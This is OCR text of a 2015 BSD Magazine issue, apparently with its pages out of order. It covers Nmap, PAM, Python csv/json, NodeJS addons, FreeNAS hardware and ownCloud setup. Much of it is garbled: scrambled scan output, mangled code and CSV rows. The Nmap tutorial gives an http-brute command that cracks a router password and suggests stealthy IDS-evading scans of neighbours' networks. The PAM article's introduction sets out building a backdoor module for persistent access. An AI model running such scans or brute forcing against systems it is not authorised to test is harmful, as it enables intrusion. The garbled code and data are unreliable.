31. ace As an alternative you can use dummy scan target at scanme Nmap org Input Nmap sV T4 0O lt default gateway IP gt in Command field and press Scan button This is the output for my environment Figure 1 Here you can see that my SOHO router BSD MAGAZINE 20 e Is up and has some network ports open e Is in the same network subnet therefore network dis tance is 1 hop and am able to get its MAC address e Has a web interface available on both TCP 80 and TCP 443 ports e Has a Samba file server included in workgroup called WORKGROUP e Supposed to run on Linux 2 6 X kernel e Supposed to have a Cisco Linksys network interface based on MAC address and be E3200 router based on web interface version How does all of this magic happen We will provide an overview while dropping some technical details this time Target Wu 1681 1 wi Prefer Command nmap s T 0 19206811 Hosts Services Mimap Gutpul Ports Hest Topelegy Host Dami Scans OS 4 Hea pemap s Ta 0 1920881 ih TAZ Dead 1 1 cle nE gni mie age t ie Hmi rap org at DOLD G5 O3 12 47 Russlan Standard Time inep 5 h 1 1 t ds e004 at tency ng Pan tle park PORT at giae VISION BA top open ae sage Epas ni http config EEL TETI m bia work z RO 3 top open ssi ntt ae lake aye T Eee iip http config o tep dorn Attbijt iin Saha et J x _ ch laa HME TAU BAL Sarees DB oo ar Siifh 8o ci fyi Deris treg BAP coe rie bs 05 CPE coe
32. ain information transmission formats mainly in the web environment but in many other contexts Generate JSON data from python In order to generate a JSON data structure directly from python we only need python s default json module and the data structure we need to convert gt gt gt import json gt gt gt data three 3 sive 1 2 3 4 Sly one 1 gt gt gt json dumps data guava ly 27 3 4y Sly one 1 three 3 Its as simple as that You are using Python after all Parse JSON data with python As you are probably guessing right now reading JSON data into Python is also extremely simple gt gt gt import json gt gt gt json data one ly five 1 2 3 4 5 BSD MAGAZINE 26 three 3 two 2 gt gt gt json loads json data i five ly 2 3 4 5 UW three 3 u two 2 u one 1 As you can see working with JSON is extremely simple in Python Practical exercise Now le s try a bigger project In this example we need to get some sample data What we are looking for is a file with sentences one per line Fortunately there s one here As you can see the file is a CSV file so we already know how to process one right Read file with a sentence per line Ok le s start by reading the file one sentence per line and store it in a list to be processed later gt gt gt import csv gt gt gt dat
33. ards If you are building a home media setup everything might be happening over wireless in which case network performance be comes far less critical there really is a difference in per formance between a Cisco 2960G or Juniper EX4200 and a Netgear or Dlink This difference becomes more pronounced if you are doing vians spanning tree jumbo frames L3 routing etc In the current landscape gigE networking is nearly ubiquitous and 10Gbe networking is expensive enough to keep it out of the hands of many home and small busi ness setups If you have a number of users and appropri ate switch gear you can benefit from aggregating multiple gigE network connections to your FreeNAS box Modern BSD MAGAZINE 34 05 2015 hard drives approach and oftentimes exceed the performance of gigE network ing when doing sequential reads or writes Modern SSDs exceed gigE networking for sequential or random read write workloads This means that on the low end a FreeNAS system with a 3 drive RAIDZ pool and a sin gle gigE network connection can hit a bottleneck at the network for performance since the volume will be able to read or write sequentially at 200 MB sec and the network will be limited to 115MB sec If your application is IOPs bound instead of bandwidth bound such as a database or virtualization platform and your storage is comprised of spinning disks you might find that a single gigE connec tion is suffi
34. as long as you follow my guidance your system should work fine If not feel free to let me know I d love to hear from you iXsystems Director of IT BSD MAGAZINE COLUMN Channel 4 television in the UK In association with AMC is currently running an innovative marketing campaign for Persona Synthetics a trailer to launch the new TV series Humans This Sci Fi drama is set in a world where a lifelike robotic servant a synth is the latest craze Is humanity ready egular readers of this column will by now realise R that one of the topics known to most easily raise my blood pressure beyond safe limits is the big disconnect this gaping chasm of misunderstanding and values between society leadership management and the practitioners and guardians of technology at the coal face The smooth advertising campaign for Humans so pene trated the nation s psyche that people were Googling the subject almost in a state of panic very much like the knee jerk response to the BBC broadcast in 1938 of War of the Worlds where the public were outraged by the au thenticity of the program believing that the earth was be ing invaded by Martians So maybe am not alone in this perception must admit was intrigued by the campaign and if it wasn t for my tacit understanding of Channel 4 being a creative and innovative broadcaster and my grasp of where we are at technology wise could have quite easily falle
35. at we re going to see Expert Says A Complete Guide to FreeNAS Hardware Design Part IV Network Notes amp Conclusion Josh Paetzel FreeNAS is a NAS and or IPSAN via iSCSIl which means everything happens over the network If you are after performance you are going to want good switches and server grade network cards If you are building a home media setup everything might be happening over wireless in which case network performance becomes far less critical there really is a difference in performance between a Cisco 2960G or Juniper EX4200 and a Netgear or Dlink This difference becomes more pronounced if you are doing vians spanning tree jumbo frames L3 routing etc ed 30 34 Column Channel 4 television in the UK In association with AMC is currently running an innovative marketing campaign for Persona Synthetics a trailer to launch the new TV series Humans This Sci Fi drama is set in a world where a lifelike robotic servant a synth is the latest craze Is humanity ready Rob Somerville 36 05 2015 a F i npese oO h e Eo prre SPTechCon SharePoint in the Cloud On Premises Or Both The SharePoint Come to SPTechCon Boston 2015 and learn about the Technology Conference differences between Office 365 cloud hosted SharePoint on premises SharePoint and hybrid solutions and build your company s SharePoint Roadmap August 24 27 2015 _ BOSTON Looking f
36. called from a nodejs script The signa ture of this function would be void Random const v8 FunctionCallbackInfo lt v8 Value gt amp We can imagine that from the nodejs script we would like to provide a max value limit as unique argument include lt stdlib h gt include lt node h gt gt includes both node and v8 structures using namespace v8 void Random const FunctionCallbackInfo lt Value gt amp args Isolate isolate Isolate GetCurrent gt Here we get the current v8 engine instance unsigned long value 0 05 2015 if args Length 1 isolate gt ThrowException Exception TypeError String NewFromUtf8 isolate Needs an argument if args 0 gt IsNumber gt the arguments are conveniently wrapped we have access to the caller arguments value static _cast lt unsigned long gt argc4random_ uniform args 0 gt NumberValue else isolate gt ThrowException Exception TypeError String NewFromUtf8 isolate The argument is not a number args GetReturnValue Set Number New isolate value void Init Handle lt Object gt exports NODE SET METHOD exports random Random gt We finally export our Random function here Now let s have a look a the binding gyp file targets target name freebsdmod gt represents the name of our module sources freebsdmod cc Simply as it is it
37. cient for a dozen or more disks Intel NICs are the best game in town for Gigabit net working with FreeNAS The desktop parts are fine for home or SOHO use If your system is under provisioned for CPU or sees heavy usage the server parts will have better offload capabilities and correspondingly lower CPU utilization Stay away from Broadcom and Realtek inter faces if and when possible In the Ten Gigabit arena Chelsio NICs are hands down the best choice for FreeNAS There s a significant pre mium for these cards over some alternatives so second and third choice would be Emulex and Intel In that order FreeNAS includes drivers for a number of other 10Gbe cards but these are largely untested by the FreeNAS de velopers Fibre Channel Options here are very limited Qlogic is pretty much the only game in town The 16Gb parts do not have a driver yet and the 1Gb parts are no longer supported so you ll be limited to the 8Gb 4Gb and 2Gb parts Fiber initiator mode works out of the box and the easter egg to enable Target mode is well documented and tested Boot Devices FreeNAS was originally designed to run as a read only image on a small boot device The latest versions now run read write using ZFS A SATA DOM or small SSD is a great boot device for the latest versions Since ZFS is used the boot device itself can be mirrored As an alter native to a SATA DOM or SSD one or more high quality USB sticks can be used As an abso
38. could not be instantiated ynode gt Wrap args This gt Here we wrap our YaraNode and can be unwrap as will as we ll see slighty later args GetReturnValue Set args This gt We return basically the wrapped yaranode object to the BSD MAGAZINE 32 javascript caller else gt YaraNode called as classic function ctor Local lt Function gt New isolate constructor gt We use here our persistent storage to instantiate our YaraNode instance args GetReturnValue Set ctor gt NewInstance void YaraNode AddRule const FunctionCallbackInfo lt Value gt amp args Isolate isolate int yro 0 isolate Isolate GetCurrent HandleScope scope isolate YaraNode ynode ObjectWrap Unwrap lt YaraNode gt args Holder gt Here we unwrap to access a YaraNode object field if args Length gt 0 int i for 1 0 1 lt args Length 1 gt addRule method from nodejs script is called like this addRule lt rule1 gt lt ruleN gt if args i gt IsString const char rule String Utf8Value rrstr args i gt ToString rule rrstr r yr compiler add string ynode gt yc rule 0 if r 0 ynode gt yrrules yre r args GetReturnValue Set Number New isolate yrc void YaraNode ScanFile const FunctionCallbackInfo lt Value gt amp args Isolate isolate int yrscan 0 isolate Isolate GetCurrent
39. d this concept more in depth we ll be using Python s built in StringlO object StringlO is a file like object that does not save files This is very useful for example when you download a file from a web service but don t need to store it We can put the file in a StringlO object and it will behave exactly like an actual file because StringlO has the same methods as file objects Contrary to file objects StringlO will only save the file s contents to memory and not to disk making it very fast when compared to actual files with the down side that they are temporary which in some situations is exactly what we need When initialising a file you always need to provide 2 ar guments a file path and a opening mode the most used BSD uck typing is a very common way of typing objects MAGAZINE 24 modes are r and w for reading and writing respectively With a StringlO we only need to instantiate one without any arguments to get an empty file If you want to initialise it with content just pass a string as the first argument For exam ple if we want to store the contents of https qgoogle com temporarily in memory to do something with it we could do S response request get https google com 9 google content StringIO response content From now on the variable google_content will behave like a file and can be passed to any library or package that expects a file This is all due to duck typing
40. demarks of Intel Corporation in the U S and or other countries EDITORS WORD Dear Readers his new issue of BSD Magazine is coming out today hope that my words find you well and in a happy mood hope that you will find many interesting articles inside the magazine and that you will have time to read all of them All comments are welcome We collected the articles written by experts in their field to provide you with highest quality knowledge Enjoy your reading and develop your new skills with our magazine Inside this BSD issue we publish articles that will present security knowledge If you want to find out more about Unix security you should read them all We would like to highlight the two articles on Pluggable Authentication Modules and Information Security Also we recommend that you read Ivan Voras s article that will present the installation and the basic configuration of ownCloud the well known and excellent open source collaboration and file sharing application written in PHP Of course please do not forget to read the 4th part of Josh Paetzel s article A Complete Guide to FreeNAS Hardware Design Part IV Network Notes amp Conclusion And for dessert please go to see what Rob wrote for you this time We really like his column and we are eagerly waiting to see what he wrote for next month As long as we have our precious readers we have a purpose We owe you a huge THANK YOU We are gratefu
41. e greatest features are extensive file sharing options via the web interface or via a DropBox like desktop synchronization tool or over the built in WebDav server document collaboration with simultaneous real time editing of documents similar to Google Docs though much less featured for now a calendar and an address book accessible from third party applications by using the CalDav protocol an extensive architecture which allows plug ins and additional applications to be included in the framework of the main application This article walks the participant through the installation and the basic configuration of ownCloud an excellent open source collaboration and file sharing application written in PHP security Does your Information Belong to the CIA Triad Rob Somerville Confidentiality Integrity and Availability are the three pillars of Information Security In this article we pose a number of scenarios to you the IT professional and ask What would you do Every environment is different so we will not provide any answers rather we want to stimulate thought and debate around the ethics that Donn Parker says are missing from the computer center In this the final part in this series we will look at Corporate policy What is PAM and why do Care Daniel Lohin Pluggable Authentication Modules PAM are the main mechanism for Linux as well as other Unix systems that perform the authentication of the user every time they log i
42. e most common is CSV comma separated values but you can also see TSV for tab separated values The format of these files is very simple The first row is either a comma separated val ues of headers or directly data The file we use is a CSV file If you open the file you can see that there is a header in the first line and the rest of the data follows Read To read a CSV file you need to use the CSV python mod ule therefore it needs to be imported before you can use it import csv After that and with an opened file you can use the reader from the CSV module to create a reader which can iterate over all the lines in the CSV file Take a look at this example gt gt gt import csv gt gt gt with open csvfile csv rU as f reader csv reader f delimiter dialect excel for row in reader print row www bsdmag org street Clty zip state beds Declis sq_ ft type sale date price latitude longitude 3526 HIGH ST SACRAMENTO 95838 CA 2 1 836 Residential Wed May 21 00 00 00 EDT 2008 59222 p r38 631913 p 121 434879 51 OMAHA CT SACRAMENTO 95823 CA 3 l 1167 Residential Wed May 21 00 00 00 EDT 2008 68212 38 478902 9 121 4381028 2796 BRANCH ST SACRAMENTO 95815 CA 2 l 96 Residential Wed May 21 00 00 00 EDT 2008 68880
43. embers E iial i Starting Mnap 6 25 htto nmap org at 2013 05 03 16 59 Russian liS i lSmembers Standard Tin logicmerc com 74 Maki Loaded 1 scripts tor scanning MSE Script Pre scanning E scanme nmap org Initiating ARP Ping Scan at 16 55 4 mi TF 16 1 1 1 t Wo 192 16811 ale 1a rage Completed ARP Ping Scan at 17 08 0 38s elapsed 1 total hosts Initiating Parallel ONS resolution of 1 host at 17 88 Completed Parallel DHS resolution of 1 host at 17 68 8 835 elapsed Initiating SYN Stealth Sean at 17 00 Scanning 192 168 1 1 1 port Discovered open port 88 tcp on 1923 168 1 4 Campl eted SYN Stealth Sgan at 17 00 0 003 elapsed 1 total ports NSE Script scanning 192 168 1 1 Initiating NSE at 17 08 Completed HSE at 17 00 8 515 elapsed Nmap Sc0N report ter 192 160 1 1 Host is up 0 60195 Latency PORT STATE SERVICE dftep pen http http brute A itg mdmin adnin vaid credentimis Statistics l Performed 14 guesses in 1 seconds average tps 14 HAC Address SA G0 8F 51 50 89 Cisco Linksys MSE Script Post scanning Reod data files from Program Files x86 Nmap Nmap done 1 IP address 1 host up scanned in 7 77 secands Raw packets sent 2 728 Rewd 2 728 Figure 4 Output after successfully brute forcing my SOHO router web interface password e r to make port scans sequential by default Nmap scans port randomly and then sorts them in output Giving a try to NSE T
44. ered If you are bored enough with experiments on your de fault gateway then it is time to move to others networks or scan your neighbors Both of these activities are not very polite and legal so you shall spend some efforts on staying stealthy If you are going for more sophisticated scan types and scanning a lot of ports in a small amount of time then there is a likely chance that you will trigger some signatures on an IDS or meet some threshold in a SIEM system My advice is to use timing templates in stead of manually tuning tons of parameters Moreover they are all named in a human friendly manner e TO paranoid e T1 sneaky e T2 polite e T3 normal default e T4 aggressive e T5 insane TO and T1 are generally used for IDS evasion T4 on fast channels and T5 in the occasions when you are com fortable with inaccurate scanning results Another great idea is using the least amount of additional scan types as possible However if you are going to be totally impo lite and lazy enough to type parameters in command line you can simply go for a parameter aggressive which includes sc sv 0 and traceroute Be also aware about the existence of honeypots which are vulnerable hosts intentionally set up by infrastructure administra tors to log all penetration attempts Scanning networks and groups of hosts Network scanners are normally used by attackers to find an appropriate target and by administrators to
45. gging on to the system from the tradition al logon screen but also through services such as FTP HTTP SAMBA and other services can use the PAM If an attacker is able to modify the integrity of the PAM sys tem then they are given the ability to modify the method for PAM to authenticate users which is a perfect situation for creating a backdoor that will be used to establish a path with which they can access systems again This article will detail how a simple PAM module can be created that could be placed on a system to allow an attacker to access a sys tem in the future This would be useful if an attacker has already gained root access to a system and wants to en sure that they are able to access again if their original path in is corrected This article will also be useful for anyone in charge of defending systems as it will give the reader an understanding of what to monitor on their systems to detect compromise as well as help in investigations D AM can be used to authenticate users not only Introduction to the PAM configuration file All Linux distributions have a different method of config uring the PAM configuration as the PAM configuration BSD MAGAZINE What you should know e Basic knowledge on Linux is fairly versatile in the way rules can be written This section will detail information specifically as it relates to Red Hat Enterprise Linux 6 as well as Centos 6 to give the reader understanding of the configurati
46. here are numerous features available in the product such as firewall evasion techniques source address and port spoofing setting flag values on both IP and trans port level and many more However it is time to give a try to NSE bruteforce scenario and leave you on your own First let us change credentials to access my router to childish admin admin Then let us launch nmap with the following parameters nmap p 80 v script http brute script args brute firstonly 192 168 1 1 Where script http brute includes NSE http brute li brary and script args brute firstonly makes script to stop its run after first successful attempts Figure 4 Here we go credentials were found out and displayed In scenarios that are more complex you are able to use custom login and password databases and write your own extensions in LUA language That is all Hope you liked this how to article Andrey is experienced IT security professional with 8 years of field experience and solid bunch of pro fessional level certificates Currently he is em ployed by Microsoft and you can easily reach him via linkedin com in andreymoskvitin 05 2015 InterDrone Mhe International Drone Conference and Exposition Dion Dione ron Drone TECHCON FLYER BUSINESS DU For Flyers and Buyers For Business Owners More than 35 classes More than 35 tutorials and Entrepreneurs amp Dealers tutorials and panels for classes on drone operations Classes
47. improve their network security Its reports are more detailed than those typically produced by scanners enabling you to maintain a higher level of vulnerability analysis in the intervals between penetration tests Now used in over 65 countries Nipper Studio provides a thorough fast amp cost effective way to securely audit over 100 different types of network device The NSA FBI DoD amp U S Treasury already use it so why not try it for free at www titania com computing SUAMEER T CAE CIR Rik Manogerent_ Awards 2014 Eru NTO WINNER THUA JLO Cyber Security initiative of the Year Pip neat ie a www titania com
48. ions Auth provides the main identification and authentication of the user Generally this is through passwords but can be other mechanisms such as smart cards Pam_unix so this module is used in all of the groups provides the main authentication piece that verifies the username and password of the user when they log in Account provides a number of services to verify is the account follows a number of rules This can be used to lock out accounts after a certain number of tries ensures that the user is in certain groups etc account This group is used when the user sets their password This is primarily used to check for the password complexity when the user sets their password Pam_cracklib so can be set up to ensure a minimum number of characters are used require lower case uppercase and symbols etc Pam_ unix so here can allow you to change the type of encryption that is used sha512 is now the default in Red Hat 6 Responsible for setting up and tearing down a service Is used by services in different ways One specifc thing it does is mounts user s home directory and a lot of other functions that this article isn t too concerned with password session Each of the modules is appended with so which is a shared object Some of these shared objects can take ar guments that change their function and how they operate All the rules are read from top to bottom in a particular group After each module is run a
49. irt MAGAZINE BSD The Bread and Butter of IT Security Today we are going to talk about bread and butter of every IT security networking and system professional Nmap nework scanner Initially Nmap was a Linux command line tool created by Gordon Fyodor Lyon in 1997 Nowadays it is a great set of tools with extensible framework providing opportunity to integrate it with external scripts editions for Windows Mac OS X and most UNIX OS distributions available You can get informa tion about all features and distributions at the official T here is also a beautiful GUI called ZeNmap and www Nmap org website Initial setup is quite straightforward For Windows ma chines in most cases you just need to download the all in one installer launch it as an administrator leave all boxes checked by default and play click click next game After the setup is completed launch Nmap from the Ze Nmap GUI shortcut We will use new school approach and show all examples in GUI However if you tend to stay classic then you can launch command prompt and navigate to Nmap exe directory Your very first scan If some Internet websites are available then your default gateway is definitely up Let us scan it Scanning localhost is not a good option as there are some peculiarities with Nmap Windows tandem Find out its address by typing ipconfig in command prompt and looking for default gateway value for appropriate interf
50. is 1 Server version 5 5 40 Source distribution Copyright c 2000 2014 Oracle and or its affiliates All rights reserved Oracle is a registered trademark of Oracle Corporation and or its affiliates Other names may be trademarks of their respective Type help or h for help Type c to clear the current input statement mysql gt create database owncloud Query OK 1 row affected 0 02 sec mysql gt grant all on owncloud to owncloud localhost Query OK 0 rows affected 0 00 sec Conclusion Finally the Apache virtual host configuration can be up dated For this tutorial we will only add ownCloud to the HTTPS virtual host of our default configuration file which will now look like this lt VirtualHost 443 gt ServerAdmin ivoras gmail com ServerName www ivoras net ServerAlias ivoras net ErrorLog var log http default error log CustomLog var log http default access log combined DocumentRoot srv www default lt Directory srv www default gt Options ExecCGI FollowSymLinks AddHandler fcgid script php FCGIWrapper usr local bin php cgi php DirectoryIndex index php BSD MAGAZINE OWNCLOUD AllowOverride None Require all granted lt Directory gt Alias cloud srv www owncloud lt Directory srv www owncloud gt Options ExecCGI FollowSymLinks AddHandler fcgid script php FCGIWrapper usr local bin php cgi php Director
51. l for every comment and opinion either positive or negative Every word from you lets us improve BSD magazine and brings us closer to the ideal shape of our publication Thank you Ewa amp BSD Team BSD MAGAZINE MAGAZINE Editor in Chief Ewa DudZzic ewa dudzic software com pl Contributing Michael Shirk Andrey Vedikhin Petr Topiarz Sol ne Rapenne Anton Borisov Jeroen van Nieuwenhuizen Jos B Al s Luke Marsden Salih Khan Arkadiusz Majewski BEng Toki Winter Wesley Mouedine Assaby Rob Somerville Top Betatesters amp Proofreaders Annie Zhang Denise Ebery Eric Geissinger Luca Ferrari Imad Soltani Olaoluwa Omokanwaye Radjis Mahangoe Mani Kanth Ben Milman Mark VonFange Special Thanks Annie Zhang Denise Ebery Art Director Ireneusz Pogroszewski DTP lreneusz Pogroszewski ireneusz pogroszewski software com pl Senior Consultant Publisher Pawet Marciniak pawe software com pl CEO Ewa Dudzic ewa dudzic software com pl Publisher Hakin9 Media SK 02 676 Warsaw Poland Postepu 17D Poland worldwide publishing editors bsdmag org www bsdmag org Hakin9 Media SK is looking for partners from all over the world If you are interested in cooperation with us please contact us via e mail editors bsdmag org All trademarks presented in the magazine were used only for informative purposes All rights to trademarks presented in the magazine are reserved by the companies which own them
52. ld of parallel computation and mobile and ubiquitous com puting ended up only finishing the mobile and ubiquitous com puting course In my 3 years of freelancing worked mostly with py thon developing django websites drupal websites and some ma gento stores also had to do some system administration After that started working in Eurotux Informatica S A where develop websites using Plone django and drupal l m also an IOS developer and sometimes perform some system administration tasks Besides my job work as a freelancer using mainly django and other python frameworks 05 2015 Techno Security amp Mobile Forensics Investigations Forensics Conference World May 31 June 3 2015 Marriott Resort at Grande Dunes Myrtle Beach SC USA The international meeting place for IT security professionals in the USA Since 1998 Register Now at www TechnoSecurity us with promo code HAK15 for a 20 discount on conference rates Comexposium IT amp Digital Security and Mobility Trade Shows amp Events Techno Security amp Oo Mobile OS assis S room c Cc rC Forensics Investigations Forensics de la a eur t et des syst mes cinformation buropien de li Eden 44 Gea pitkali ginian World Conference CARTES Ne SECURE CONNEXIONS come gt lt Posium T AFAKA The place to be Aa Sa amp CARTES MW SECURE CONNEXIONS PROGRAMMING Part 2 NodeJS and FreeBSD
53. lute minimum the boot device must be 4GB however 8GB is a more com www bsdmag org EXPERT SAYS fortable and recommended mini mum Beyond 16GB in size the space will be mostly unused Since the boot device can t be used for sharing data installing FreeNAS to a high capacity hard drive is not recommended Conclusion Hardware configuration is one of the most prominent and active cat egories in the FreeNAS forum have attempted to share some best practices that we at iXsystems have seen over the years and hope that have not missed anything big With so many options and use cases it s difficult to come up with a set of one size fits all instructions Some other tips if you get stuck 1 Search the FreeNAS Manual for your version of FreeNAS Most questions are already answered in the documentation 2 Before you ask for help on a spe cific issue always search the fo rums first Your specific issue may have already been resolved 3 If using a web search engine include the term FreeNAS and your version number As an open source community FreeNAS relies on the input and expertise of its users to help improve it Take some time to assist the community your contribu tions benefit everyone who uses FreeNAS To sum up FreeNAS is great l ve used it for many years and we have several instances running at iXsys tems attempted to provide accurate and helpful advice in this post and
54. n PAM can be configured in a number of ways in order to authenticate the user in a variety of means such as using passwords SSH keys smart cards etc 12 16 The Bread and Butter of IT Security 20 Andrey Mosktvitin Today we are going to talk about the bread and butter of every IT security networking and system professional Nmap network scanner Initially Nmap was a Linux command line tool created by Gordon Fyodor Lyon in 1997 Nowadays it is a great set of tools with an extensible framework providing the opportunity to integrate it with external scripts BSD MAGAZINE Python Programming The csv and json Python Module Rui Silva Files are a big part of programming We use them for a lot of things HTML files have to be loaded when serving a web page Some applications export files in some formats that we need to read in other applications or even we want to be the ones doing the exporting In this article we will learn some concepts to help us understand how to use files and also some advanced ways of making use of them NodeJS and FreeBSD Part 2 David Carlier Previously we ve seen how to build NodeJS from the sources in FreeBSD with minor source code changes This time we ll have an overview of the application s build process There are numerous excellent tutorials to build a nodejs application in pure Javascript However it s also possible to build an application natively in C C It is exactly wh
55. n for the plot hook line and sinker Without that back ground however it would have scared the living daylights out of me would be surprised if a few telephone calls were not logged against this advert by the emergency ser vices and in our so typically understated British way no doubt someone will submit a written complaint to the Ad vertising Standard Authority BSD MAGAZINE 36 The whole subject of trans humanism and cyborgs is fraught with idealistic ladders and ethical snakes as it s sallies forth into philosophical and spiritual territory Does man have a soul Are computers moral beings The best starting point believe is indeed ethics as another section of society has historically managed to deal relatively ma turely albeit rather opaquely with similar questions the medical fraternity The whole gamut of what we can add to or remove from our bodies in way of transfusions trans plants or surgery has pretty much been thrashed out by ethics committees by now and there are few people who would refuse on medical or ethical grounds a replacement human kidney or a blood transfusion With advances in medical science the jury is still out as far as to where the exact boundaries lie but the first of ficial human head transplant is due to be performed in 2017 The first attempt was made on a monkey in 1954 by Vladimir Demikhov only 22 years after the movie Fran kenstein was released and only 9 years after the
56. ntly employed at the University of Zagreb Faculty of Electrical Engineering and Computing and lives in Zagreb Croatia You can follow him on his blog in English at http ivoras net blog or in Croatian athttp hrblog ivoras net as well as Google athttps plus google com lvanVoras All Ales ew Shared with ygu M Shared with others Shared bey link E mak E Photes dw ouder Mangal Figure 2 Initial example files screen from ownCloud BSD MAGAZINE Pending seconds ago Ferdig seconds aga Pending seconds apo seconds j 05 2015 mobile interactive design j ms i a z d E p P La y uA Mobile Apps SCN ene Design Specialty Programm 3DSimulations a Database Dev v Super friendly v Die i a Po reach out amp let s talk www isointeractive com SECURITY Does your Information Belong to the CIA Triad Confidentiality Integrity and Availability are the three pillars of Information Security In this article we pose a number of scenarios to you the IT professional and ask What would you do Every environment is different so we will not provide any answers rather we want to stimulate thought and debate around the ethics that Donn Parker says is missing from the computer center In this the final part in this series we will look at corporate policy 2 BSD Question 1 How much customer facing expo sure does your staff have Do the
57. ntoort EN and security of the ZFS filesystem with fast on disk Tool less design hot swappable drive trays encryption No other NAS provides comparable power TEENA ictal emanecomngurey and flexibility The FreeNAS Mini is hands down the best home and small office storage appliance you can buy on the market When it comes to saving your important data there simply is no other solution Intel the Intel logo Intel Atom and Intel Atom Inside are trademarks of Intel Corporation in the U S and or other countries FREENAS CERTIFIED STORAGE With over six million downloads FreeNAS is undisputedly the most popular storage operating system in the world Sure you could build your own FreeNAS system research every hardware option order all the parts wait for everything to ship and arrive vent at customer service because it hasn t and finally build it yourself while hoping everything fits only to install the software and discover that the system you spent days agonizing over isn t even compatible Or MAKE IT EASY ON YOURSELF As the sponsors and lead developers of the FreeNAS project ixsystems has combined over 20 years of hardware experience with our FreeNAS expertise to bring you FreeNAS Certified Storage We make it easy to enjoy all the benefits of FreeNAS without the headache of building setting up configuring and supporting it yourself As one of the leaders in the storage industry you know that yo
58. o es yey 1235 Residential Fri May 16 00 00 00 EDT 2008 246544 38 720767 7121 376678 4240 WINJE DR ANTELOPE 95843 CA 4 2 2504 Residential Fri May 16 00 00 00 EDT 2000 246750 38 70884 121 359559 4636 TEAL BAY CT ANTELOPE 95843 CA 4 2 2160 Residential Fri May 16 00 00 00 EDT 2008 290000 r38 704554 1Z21 354753 4 ANTELOPE 99643 CA 9o 7S gt 3134 Residential Fri May 16 00 00 00 EDT 2006 315000 38 711927 7121 343608 4509 WINJE DR ANTELOPE 95843 pCR 43 y 72 2960 Residential Fri May 16 00 00 00 EDT 2008 350000 38 709513 121 359357 2604 KODIAK WAY ANTELOPE 95043 CA p S gt 2 12060 Residential Thu May 15 00 00 00 EDT 2008 142000 38 706175 121 379776 8636 LONGSPUR WAY ANTELOPE 95843 CA 3 2 1670 Residential Thu May 15 00 00 00 EDT 2008 157296 38 725873 7121 35856 8428 MISTY PASS WAY ANTELOPE 95843 pOR 3 g 2 gio Residential Thu May 15 00 00 00 EDT 20067 9212000 73851229590 121 347115 Condo 8020 WALERGA RD ANTELOPE 95843 CA 2 2 836 Condo Mon May 19 00 00 00 EDT 2008 7115000 38 71607 121 364468 3536 SUN MAIDEN WAY ANTELOPE 7901 GAZELLE TRAIL
59. on which can be modified to any Linux OS that utilizes PAM The con figuration for PAM is in the etc pam a directory There are a number of files in the directory to deal with various services that use PAM such as SSHD the Gnome login SU and a bunch of other key services If you go into the sshd file you will notice that the second line after the comment includes auth include password auth Look ing at almost all the other files that deal with network services in the etc pam a directory reveals that almost every service has this line in it What this does is cre ates a single file password auth to update to affect the rules of all services that include this line This prevents the administrator from having to edit every single file if they want the change these policies The system auth is used for logging in for them console as well as utilizing the su command The password auth and system auth files are two files are generally all that need to be edited in order to change the PAM policies unless the change 05 2015 only needs to be specific to a service The configuration follows a pattern of lt group gt lt control flags gt lt module and possibly arguments gt The password auth file is broken into four groups which are auth account password and session Each of those groups then calls a module which can provide a number of functions The different groups are displayed in Table 1 Table 1 Groups available in PAM configurat
60. or SharePoint 2013 training Check out these targeted classes e Custom SharePoint 2013 Workflows that Use the SharePoint 2013 REST API Over 70 classes e SharePoint 2013 Farm Architecture and Visual Studio for Admin ta ug ht by expe rt S pea ke rsl e Creating a Branded Site in SharePoint 2013 e SharePoint s New Swiss Army Knife The Content Search Web Part Moving to Office 365 This was a great conference that addresses all levels roles and a Here are some targeted classes for YOU abilities Great variety of classes great presenters and learned many practical things that can take back and start implementing Baby Stepping Into the Cloud a Hybrid Workloads next week e Demystifying Office 365 Administration Kathy Mincey Collaboration Specialist FHI 360 e Document Management and Records Management for Office 365 e Office 365 Search in the Cloud MASTER THE PRESENT PLAN FOR THE FUTURE REGISTER NOW gt www sptechcon com A BZ Media Event SPTechCon is a trademark of BZ Media LLC SharePoint is a registered trademark of Microsoft File Sharing Over the Web with ownCloud This article is to walk the participant through the installation and the basic configuration of ownCloud an excellent open source collaboration and file sharing application written in PHP wnCloud is a well featured collaboration application whose greatest features are e Extensive file sharing options via the web interface
61. or via a DropBox like desktop synchronization tool or over the built in WebDav server e Document collaboration with simultaneous real time editing of documents similar to Google Docs though much less featured for now e A calendar and an address book accessible from third party application by using the CalDav protocol e An extensive architecture which allows plug ins and additional applications to be included in the frame work of the main application In practice its main selling point is the DropBox like functionality with client applications available for Win dows Linux Android and iPhone devices ownCloud requires a database which it will use to store metadata such as version information and also system data and content for some types of resources Depending on the type and frequency of its users it could require ap proximately between 10 MB and 100 MB of database data per user per year This article will use MySQL for its da tabase for this and other applications primarily because FreeBSD still has problems with UTF 8 collation required by PostgreSQL Installing MySQL MySQL has a reputation for being simple and it actually is For this article we will install MySQL version 5 5 BSD MAGAZINE pkg install mysgl55 server mysql55 client Updating FreeBSD repository catalogue FreeBSD repository is up to date All repositories are up to date The following 2 packages will be affected of O checked New packages
62. requested above So let s see how can we process the data in order to generate this structure gt gt gt processed gt gt gt for row in data city row 1 type row 7 if processed has key city pr city processed city pr type pr city get type J pr_type append row processed city type pr type else processed city type row www bsdmag org gt gt gt processed ANTELOPE Residential 99843 CA 3 2 1088 Residential Wed May 21 00 00 00 EDT 2008 120640 36 7 0914 121 37377 5708 RIDGEPOINT DR ANTELOPE 95843 CA 2 2 1043 Residential Wed May 21 00 00 00 EDT 2008 LOL250 38 72027 121 331555 4844 CLYDEBANK WAY ANTELOPE 95843 CA 3 2 1215 Residential Wed May 21 00 00 00 EDT 2008 182710 138 714609 121 347887 7895 CABER WAY ANTELOPE 95843 CA 3 2 1362 ReSidential Wed May 21 00 00 00 EDT 2008 194818 38 711279 121 393449 7837 ABBINGTON WAY ANTELOPE 95843 CA 4 2 1830 Residential Wed May 21 00 00 00 EDT 2008 387731 38 709873 121 339472 3228 BAGGAN CT ANTELOPE 95843 CA 93 72 1392 Residential Tue May 20 00 00 00 EDT 2008 165000 38 715346 r 121 388163 ly 95843 CA 72 2 1007 Residential Tue May 20 00 00 00 EDT
